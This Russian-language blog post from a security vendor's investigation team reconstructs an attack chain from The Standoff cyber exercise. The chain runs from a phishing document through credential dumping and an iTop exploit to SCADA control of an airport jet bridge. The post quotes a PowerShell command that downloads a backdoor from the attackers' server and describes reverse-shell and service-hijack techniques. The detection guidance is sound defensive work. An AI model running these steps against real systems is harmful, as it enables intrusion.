Привет! В мае прошел очередной, уже 11-й, PHDays, а вместе с ним и The Standoff, и мы, как обычно, не остались без кейсов интересных атак. В этот раз мы решили не описывать отдельные техники и тактики по матрице MITRE ATT&CK, ведь ни одна атака не возникает на пустом месте: всегда есть конкретный вектор проникновения в систему, путь продвижения по инфраструктуре и в конечном счете реализованное недопустимое событие. Предлагаем сосредоточиться на этом, так что приготовьтесь к полноценному расследованию!
В течение четырех дней кибербитвы Государство F подвергалось атакам со всех сторон. В мероприятии принимали участие 17 команд атакующих, под их натиском пали нефтегазовая, энергетическая, транспортная отрасли, в сеть были слиты персональные данные сотрудников, украдены конфиденциальные документы, целые сети были заражены вирусами-шифровальщиками. Но, конечно, самыми впечатляющими были атаки на автоматизированные системы управления технологическим процессом (АСУ ТП). Нет, не потому, что они заставляют макет ожить, а потому, что атаки на промышленные системы в реальной жизни разрушительны, несут огромные риски и могут привести к человеческим жертвам. Также такие атаки сложнее в реализации: промышленные системы вынесены в отдельный изолированный сегмент, доступ к которому ограничен. Кроме того, реализация недопустимых событий в промышленном сегменте, по правилам нашей кибербитвы, приносила команде атакующих больше всего очков.
The Standoff — это самая масштабная в мире открытая кибербитва. Главной темой учений, прошедших в мае, стал эффект бабочки: зрители и участники битвы увидели, как реализация недопустимого события в одной отрасли экономики может повлиять на другие и на все государство в целом. На площадке в Москве было построено виртуальное Государство F с тремя отраслями производства: черной металлургией, электроэнергетикой и нефтяной промышленностью. Внутри каждой отрасли экономики были представлены взаимосвязанные объекты и смоделированы производственные процессы, начиная от добычи ресурсов и заканчивая поставкой продукции конечным потребителям. Также в экономике Государства F было представлено несколько других сегментов (транспорт, банковская система и ЖКХ), каждый из которых тоже состоял из набора объектов. Чтобы найти слабые места в защите этих объектов, управляемых системами, использующимися в реальной жизни, собрались 157 исследователей безопасности из 17 команд. Атакующие искали уязвимости и пытались реализовать инциденты, например, вызвать коллапс в аэропорту или остановить работу нефтезавода. За четыре дня The Standoff атакующие реализовали недопустимые события 63 раза, 30 из них были уникальными.
Напомним, что традиционно в противостоянии принимают участие и команды защиты, которые наблюдают за происходящим, используя продукты Positive Technologies: систему мониторинга событий ИБ и выявления инцидентов в реальном времени MaxPatrol SIEM, продукт для глубокого анализа трафика PT NAD (PT Network Attack Discovery), межсетевой экран уровня приложений PT Application Firewall, систему анализа технологического трафика PT ISIM (PT Industrial Security Incident Manager) и песочницу PT Sandbox. Сегодня мы, PT Expert Security Center, заглянем в каждый из них и продемонстрируем, как совокупность продуктов позволяет воссоздать полную цепочку действий атакующих. Также мы покажем, на что именно специалистам SOC (security operation center) нужно обращать внимание, чтобы заметить и остановить хакеров еще на подходе к критичным системам, пока они не успели реализовать недопустимое для компании событие.
Отправная точка расследования
Так как телетрапом управляет SCADA-система (supervisory control and data acquisition — диспетчерское управление и сбор данных), мы начнем наш разбор с анализа технологического трафика с помощью PT ISIM и посмотрим, что продукт смог зафиксировать:
трапу была отправлена команда с IP-адреса 10.156.22.134 — узла оператора SCADA-системы;
удаленное подключение по RDP к узлу оператора было осуществлено за несколько минут до аварии с IP-адреса 10.156.22.25.
Наш следующий шаг — выяснить, кто и откуда получил доступ по RDP к узлу оператора. В этом нам поможет MaxPatrol SIEM: отфильтруем нужный нам узел и посмотрим входы по RDP (RemoteInteractive, события msgid = 4624 и logon_type = 10). Сгруппируем их по именам пользователей, которые осуществляли вход, и посмотрим адреса подключения.
Мы видим, что кроме оператора никто не заходил по RDP на узел. А еще обратим внимание, что все RDP-сессии осуществлены с одного IP-адреса (10.156.22.25). Самая первая успешная RDP-сессия была установлена еще накануне вечером. Проанализировав активность на узле airportboarding, мы не обнаружили ничего интересного: не было ни сканов, ни принесенного инструментария для атак на промышленные сети — ничего. Можем предположить, что, войдя по RDP, атакующие увидели открытую консоль управления телетрапом и, дождавшись момента посадки пассажиров, отодвинули его. В этом случае разумнее всего перейти к анализу происходящего со следующим узлом (10.156.22.25), с которого был получен доступ к узлу оператора SCADA-системы, и поискать артефакты действий атакующего там.
Анализируя события с comp-54.hv-logistics.stf (10.156.22.25), мы можем выяснить, какие процессы обращались к порту 3389 на узле оператора SCADA-системы (10.156.22.134). Мы видим, что за интересующий нас промежуток времени к порту обращались два процесса: nmap.exe и lsysnetworkrestricted.exe. Первый — это общеизвестный инструмент для сканирования и поиска открытых портов, который активно используют в атаках на инфраструктуру и пентестеры, и реальные злоумышленники. Назначение второго процесса непонятно. Тут может быть несколько вариантов: либо это кастомизированный клиент RDP, либо инструментарий для туннелирования трафика, либо другой сетевой сканер. Давайте разбираться.
Посмотрим, что это за файл lsysnetworkrestricted.exe и откуда он взялся. Начнем с события запуска процесса (msgid in [1, 4688]). Стоит обратить внимание на то, что у файла отсутствуют метаинформация и исходное имя (original_name), а еще он был запущен от имени NT Authority\System. Файл располагается в папке C:\Windows\System32, но не относится к Windows. Мы можем сделать вывод, что этот файл создан атакующими и они смогли получить системные привилегии на узле comp-54.hv-logistics.stf (10.156.22.25).
Далее мы находим событие создания файла. Проанализировав события c msgid = 11 (Sysmon), мы обнаруживаем, что этот исполняемый файл был создан процессом powershell.exe с PID (process identifier) 2224. PowerShell — один из незаменимых инструментов атакующих, поэтому Microsoft предоставили аналитикам SOC отличные события его аудита. Зная PID родительского процесса powershell.exe, мы анализируем события 4103 и 4104 (журнал Microsoft-Windows-PowerShell) и обнаруживаем скачивание файла с помощью командлета Invoke-WebRequest. Также мы видим, что команда выполнялась от имени пользователя r_flores_admin.
Теперь в центре нашего внимания оказывается пользователь r_flores_admin. Проделываем трюк, который мы уже использовали ранее: смотрим, откуда, как и когда был осуществлен вход от имени этого пользователя. Оказывается, что это вновь RDP-сессия с узла rdg.hv-logistivs.stf (10.156.26.21). Но пока не будем забегать вперед и смотреть, что же происходило на том узле, — остановимся на самом факте входа. Из этого события мы можем извлечь крайне полезную информацию — ID сеанса. Он позволит нам собрать всю активность пользователя в рамках этой RDP-сессии, что бывает полезно при реагировании на инцидент. Мы можем посмотреть запущенные в рамках сессии процессы, найти возможные артефакты атакующих и потенциальные способы закрепления в системе.
Мы обнаружили, что в рамках этой сессии r_flores_admin создал сервис с исполняемым файлом WWIHost.exe, тем самым повысив свои привилегии до SYSTEM. Имя службы было выбрано такое, чтобы она была похожа на системную и не выделялась (спасибо за то, что пытаетесь скрываться!). Обратите внимание на поля object.property и object.type: их значения свидетельствуют о том, что служба стартует автоматически (тип 2); то есть атакующие не только повысили права, но и закрепились в системе. Ранее нам уже встречался процесс wwihost.exe, но в качестве родительского для lsysnetworkrestricted.exe. То есть он был запущен от SYSTEM, так как наследует эти права от wwihost.exe, запущенного как сервис.
Очень часто хакерские инструментарии оставляют за собой следы, по которым можно классифицировать то или иное ПО.
Например, модуль Impacket smbexec использует технику service execution для выполнения команд с повышенными привилегиями. Он создает в целевой системе службу, имя которой зафиксировано автором в коде скрипта (BTOBTO). Так как иногда атакующие забывают поменять эту строку (а иногда ленятся), это может стать отличным индикатором использования Impacket smbexec.
По таким следам правила корреляций MaxPatrol SIEM и правила PT NAD умеют обнаруживать большую часть популярных (и не очень) инструментов, используемых в атаках: модули фреймворков Metasploit Framework, Koadic и Cobalt Strike, инструменты из набора Impacket, Mimikatz, Rubeus и множество других.
Аналитики SOC, возлюбите msgid = 1 (Sysmon)! В отличие от штатного логирования старта процесса в Windows (msgid = 4688), Sysmon предоставляет больше информации и дает больше контекста. Например, ничем не примечательный 1.exe оказывается эксплойтом для свежей уязвимости в RPC (CVE-2022-26809). Значения метаинформации и исходного имени файла задаются на этапе сборки исполняемого файла, но если атакующие используют готовый инструмент и просто переименовывают его исполняемый файл, чтобы скрыться, то Sysmon позволит вам легко это вычислить.
Серверный сегмент
Итак, вернемся к нашей цепочке. Расследование приводит нас на узел rdg.hv-logistivs.stf (10.156.26.21), с которого авторизовывался r_flores_admin. Так как на практике сегмент АСУ ТП защищается особо тщательно, получить доступ к узлам операторов бывает непросто, дотянуться до них по сети можно далеко не отовсюду. Обычно сетевой связанностью с узлами операторов АСУ ТП обладают несколько инфраструктурных серверов (KSC, SCCM) и, возможно, несколько компьютеров из сегмента администраторов. В нашем случае такой лазейкой в сегмент SCADA стал сервер Remote Desktop Gateway.
По процедуре, описанной выше, находим процесс, осуществлявший удаленный вход по RDP (msgid in [3,5156] and dst.port = 3389). Вы знаете, что делать дальше: msgid in [1, 4688]. Смотрим, что это за процесс, кто его запустил, вытаскиваем subject.account.session_id и анализируем активность, предшествующую перемещению на следующий узел в цепочке атаки.
Нам бы тоже хотелось, чтобы атакующие показывали неизвестные, новые и интересные техники атак. Но, как и в жизни, есть подготовленный инструментарий и работающие стратегии. Поэтому и в реальности при перемещении атакующих от узла к узлу мы видим похожие события. А значит, и наши техники расследования часто оказываются однотипными.
Тут мы видим стандартное обращение от процесса mstsc.exe, родителем которого является explorer.exe. Значит, у атакующих снова был интерактивный доступ.
У нас появляется новый скомпрометированный пользователь e_puckett (который пришел с адреса 10.156.26.34). Посмотрим сработавшие правила корреляции в рамках его сессии. PowerShell, который открывает соединение на внешний адрес? Чаще всего это говорит о потенциальном соединении с С2-сервером (command and control) атакующих или же о скачивании файла (в некоторых случаях — об использовании фреймворков для проведения разведки или атак на Active Directory, например PowerSploit, BloodHound). И почти всегда это говорит о том, что с узлом что-то нечисто.
Мы нашли адрес, который потенциально принадлежит атакующим. В реальной жизни с ним мы делаем три вещи:
Блокируем все соединения из нашей сети на этот адрес.
Добавляем в IoC, чтобы при попытке подключения к указанному адресу любого узла в нашей инфраструктуре мы сразу же получали сообщение от систем защиты о критическом инциденте с высокой важностью, максимально быстро стартовали расследование и реагирование на инцидент.
Проводим ретроспективный анализ и находим все узлы, которые могли оказаться под контролем атакующих (сейчас мы этого делать не будем, чтобы не заспойлерить итоги расследования, а посмотрим на этот адрес только в рамках текущего узла).
Изучим, какие события на узле связаны с указанным адресом. Так как это powershell.exe, то нам снова оказываются полезны события с msgid = 4104: видим Invoke-Expression (IEX), net.webclient, downloadstring, а затем много строк base64-encoded. Даже если вы не встречали подобного в жизни, несложно догадаться, что тут происходит. А если сталкивались с таким, то точно должны знать, что разбитый на несколько событий Base64 характерен для запуска полезной нагрузки PowerShell и доставки Cobalt Strike Beacon на узел.
Дальнейший анализ показал, что активность атакующих на узле была минимальной. Мы увидели запуск nmap и ping до нескольких узлов из разных сетей (в том числе до сегментов АСУ ТП и сегмента администраторов). Пользователь e_puckett не имеет прав локального администратора, но при этом мы также не увидели каких-либо попыток повысить привилегии. Это может говорить о том, что узел rdg.hv-logistics.stf (10.156.26.21) был интересен атакующим только из-за доступа практически в любой уголок сети компании. Закрепились атакующие через добавление своей полезной нагрузки в автозагрузку. Beacon Cobalt Strike использовался исключительно для проксирования трафика до интересующих хакеров целей.
Так что, следуя по цепочке перемещения хакеров, переходим к узлу iTop с адресом 10.156.26.34 (рис. 10), с которого атакующие заходили по RDP на rdg.hv-logistics.stf (10.156.26.21) под пользователем e_puckett. Находим обращения к порту 3389 от файла /tmp/la, и на самом деле в найденных событиях подозрительно все: скрипт из папки /tmp/ открывает соединение к порту 3389, еще и запущен пользователем www-data. Выглядит подозрительно, не так ли?
Выполнение команд от имени пользователя www-data говорит о потенциальной RCE- уязвимости (remote code execution) в веб-интерфейсе (возможно, с использованием веб-шелла). Каждый пентестер, даже далеко не самый опытный, знает, что при эксплуатации RCE-уязвимости в веб-приложении он получает права того пользователя, от имени которого запущен веб-сервис. Иногда ленивые администраторы серверов делают атакующим подарок в виде прав root, но в большинстве случаев это все же www-data, bitrix, сonfluence (привет, CVE-2022-26134) или пользователь, не обладающий высокими правами или даже правом на интерактивный вход.
Нужно понять, откуда взялся этот файл la. По строке запуска /tmp/la находим скачивание пользователем www-data через wget, chmod + x на /tmp/la (дает файлу право на исполнение) — обратный шелл до управляющего сервера. Довольно стандартный сценарий при эксплуатации веб-уязвимости. Аналитики SOC, обращайте внимание на то, какие команды выполняют пользователи — демоны веб-сервисов. Если внезапно www-data начинает выяснять, кто он (whoami) и где он (hostname), то следует повнимательней присмотреться к его активности.
Кстати, домен lg4.ptsecurity.net мы уже встречали ранее на узле comp-54.hv-logistics.stf (рис. 5).
С помощью SIEM можно узнать контекст того, какие команды выполнялись, но продукты этого класса не могут сказать, что находится внутри исполняемого файла или файла скрипта. Нам остается только строить предположения. Или... Или нам на помощь приходит PT NAD, который умеет извлекать из трафика передаваемые файлы и сразу отправлять их на анализ в PT Sandbox (обратите внимание, около имени передаваемого файла появляется индикатор того, что в результате анализа файл был признан вредоносным). Стоит сделать оговорку, что это не сработает с шифрованным трафиком (HTTPS, SSH), но в MaxPatrol SIEM мы видим, что для передачи использовался HTTP (без SSL). Можем легко найти скачивание файла lg4.lin, который сохранили в /tmp/la.
PT NAD поможет ответить на вопрос, какая уязвимость была проэксплуатирована на iTop. Проанализировав сработавшие правила, мы выяснили, что используется уязвимая версия iTop 2.4.1, эксплойт к которой позволяет удаленно выполнить код (CVE-2018-10642). Можем определить название веб-шелла, который был использован атакующими, команды, которые они через него выполняли, и их вывод. Но самая важная информация — это адрес, с которого была произведена эксплуатация уязвимости, а именно узел comp-65.hv-logistics.stf (10.156.24.219).
Получение учетных данных
Продолжаем наше расследование и перемещаемся на узел comp-65.hv-logistics.stf (10.156.24.219), с которого атакующие прорвались в серверный сегмент. Задав узкий промежуток времени, в котором была зафиксирована эксплуатация уязвимости, мы видим обращение на порт 80 сервиса iTop от 1.exe.
Проверим, от имени какого пользователя был запущен процесс с предполагаемым эксплойтом. Очень важно проводить такой анализ, чтобы понять, какими правами обладает процесс, ведь права наследуются от пользователя. Если с пользователем SYSTEM все понятно, то по имени w_pitts мы не можем с ходу сказать, является ли он локальным администратором на узле comp-65.hv-logistics.stf (10.156.24.219). Один из способов это выяснить — проверить, регистрируются ли вместе со входом событие msgid = 4672 (присвоение специальных привилегий при входе). Мы не нашли таких событий, а значит, атакующим пришлось проявить изобретательность, чтобы получить максимальные права на узле.
Поищем происхождение файла 1.exe на comp-65.hv-logistics.stf (10.156.24.219) в MaxPatrol SIEM. Если посмотреть события в сессии w_pitts, то мы опять видим скачивание через PowerShell с использованием invoke-webrequest, где lg4.win был сохранен как 1.exe: Invoke-WebRequest -Uri http://lg4.ptsecurity.net/zhaya/lg4.win -OutFile C:\Users\Public\1.exe.
Сам исполняемый файл мы можем вытащить из PT NAD и отправить на анализ в PT Sandbox. Поведенческий анализ свидетельствует о том, что 1.exe содержит бэкдор (рис. 23).
Иногда бывает полезно анализировать не только строку запуска вредоносного файла, но и другие процессы, где он мог фигурировать как объект (мы сегодня уже делали так, чтобы выяснить, как файл был передан на узел). Но иногда можно увидеть и другие полезные для расследования события. Например, на скриншоте выше (рис. 23) видно, как атакующие подменили оригинальный исполняемый файл zabbix-agent.exe на полезную нагрузку — файл 1.exe. Проведя разведку на узле, хакеры обнаружили, что имеют права на запись в папку C:\Zabbix\bin\, где находится zabbix-agent.exe, который использует сервис Zabbix. Таким образом, при перезапуске службы атакующие получили обратное соединение на свой сервер и смогли исполнять команды на узле с правами SYSTEM.
Часто оказывается так, что у пользователя есть права на запись службы в папку, но нет прав на ее перезапуск. Тогда, если тип запуска службы — auto, можно просто перезагрузить узел. При старте системы службы начнут запускаться, и Zabbix запустит полезную нагрузку, а атакующие получат обратное соединение с уже такими желанными правами системы.
Конечно, в этом случае атакующие теряют из памяти lsass.exe пароли и хеши пользователей, которые ранее интерактивно входили на узел. А там могли быть учетные данные какого-нибудь администратора, которые полезны для дальнейшего продвижения по сети.
Кстати, lsass.exe — далеко не единственное место, откуда можно извлечь учетные данные. Один из способов — это получить из реестра кэшированные доменные учетные данные. Последние десять доменных входов кэшируются для того, чтобы доменный пользователь мог войти в систему, если по какой-то причине контроллер домена недоступен. Извлекать эти данные умеет известный инструмент LaZagne: для этого сохраняются ветки реестра hklm\sam, hklm\system и hklm\security, что хорошо видно на скриншоте ниже.
Стоит сказать, что у LaZagne есть много функций, и инструмент может получать данные не только из реестра, но и из сохраненных паролей для подключения к сетям Wi-Fi, из паролей, сохраненных в браузерах, в файлах конфигураций. Кроме того, в LaZagne есть модуль Pypykatz — это интерпретация Mimikatz на языке Python.
Чтобы понять, какие учетные данные потенциально оказались в руках атакующих, мы проверяем пользователей, которые входили на узел в последнее время. Пользователь administrator нам неинтересен, он локальный, а вот r_flores_admin — это уже любопытно, так как мы видели, что он использовался для дальнейших атак.
Итак, нам в нашем расследовании осталось ответить всего на два вопроса:
Как атакующие получили доступ на comp-65.hv-logistics.stf (10.156.24.219).
Откуда были получены учетные данные пользователя e_puckett, которого использовали для входа на RDG.
Начнем со второго: этот вопрос сложнее и потребует от нас навыков настоящего третхантера. То есть нужно выдвинуть гипотезу, а затем ее проверить.
Предполагаем, что учетные данные e_puckett были сдамплены с какого-то узла. Значит, нам надо найти все узлы, на которые e_puckett осуществлял интерактивный вход (logon_type in [2,7,11,10]). Список состоит всего из одного узла — comp-187.hv.logistics.stf (10.156.24.3). Значит, посмотрим на все взаимодействия между ним и теми узлами, которые находятся под контролем атакующих. И... Это headshot! Мы видим сработавшее на удаленный дамп учетных данных правило. Если перейти к исходным событиям, то становится ясно, что использовался инструмент Impacket secretsdump (для него характерны сетевой вход, доступ к именованным каналам svcctl и winreg, сохранение результатов в файл со случайным именем и расширением .tmp в C:\Windows, а затем чтение этого файла по SMB).
На самом деле Threat Hunting далеко не всегда бывает таким быстрым и удачным, каким он оказался в этом примере. Перед этим нам пришлось cформулировать множество гипотез, и их проверка закончилась провалом. Мы искали, где атакующие завладели учетной записью e_puckett еще с того момента, когда впервые увидели ее использование на сервере RDG. В итоге раскручивание цепочки шаг за шагом привело нас к ответу. Сама атака была распределенная и заняла у команды атакующих трое суток, а вот на раскручивание цепочки нам суммарно потребовалось 8–10 часов.
Точка входа
Вернемся к w_pitts. Мы помним, что файл 1.exe был создан процессом powershell.exe. Часто для понимания полной картины происходящего на узле приходится строить цепочку процессов, то есть искать событие за событием, сверяя PID и имена процессов. К счастью, MaxPatrol SIEM умеет это делать самостоятельно. Нужный нам процесс powershell.exe даже попал в цепочку для правила корреляции Malicious_Office_Document на вредоносный документ. Убедившись, что это именно тот самый powershell.exe, можно сделать вывод, что в 12:22 пользователь w_pitts получил фишинговое письмо и открыл вложение. Если посмотреть на цепочку, то видно, что пользователь запустил почтовый клиент, открыл вложение в виде DOC-файла, который запустил powershell.exe и начал выполнять команды.
Это же письмо мы можем найти в PT Sandbox. Поведенческий анализ явно говорит о вредоносности вложения.
Заключение
Давайте соберем все факты воедино и попробуем подвести итог расследования.
Атакующие отправили фишинговое письмо (якобы с резюме), которые было открыто сотрудником отдела кадров w_pitts, благодаря чему хакеры получили обратное соединение на свой C2-сервер. Быстро найдя способ повысить привилегии в системе, они получили учетные данные администратора r_flores_admin, что позволило им чувствовать себя очень свободно в инфраструктуре компании. Немного побродив по пользовательскому сегменту и получив контроль еще над парой учетных записей, нападающие поняли, что в этом сегменте крупной рыбы не поймаешь и надо двигаться дальше. Дверь в серверный сегмент им открыла не запатченная вовремя уязвимость в сервисе создания запросов в техподдержку iTop. Оттуда хакеры быстро переместились на сервер RDG, которому по протоколу удаленного рабочего стола (RDP) открыт доступ практически на любой узел любого сегмента. Воспользовавшись этим и даже не заглянув в сегмент администраторов, атакующие кинулись к системам SCADA реализовывать недопустимое событие.
Нужно было всего одно письмо, и понеслось: разведка, закрепление, повышение привилегий, горизонтальное перемещение — и вот атакующие уже в сегменте АСУ ТП управляют вашим телетрапом. Примерный их путь к реализации недопустимого события состоял из шести этапов (см. скриншот ниже).
В реальной жизни наша основная задача — не давать атакующим возможности реализовывать недопустимые события и пресекать все их действия на этапе продвижения. При грамотном управлении процессами мониторинга и реагирования на инциденты информационной безопасности, а также при наличии эффективных правил обнаружения подобные атаки в компаниях могут быть обнаружены и остановлены уже на самом первом этапе — получении фишинговых писем.
Надеемся, наша статья поможет вам взглянуть на угрозы, процессы threat hunting и расследования под другим углом.
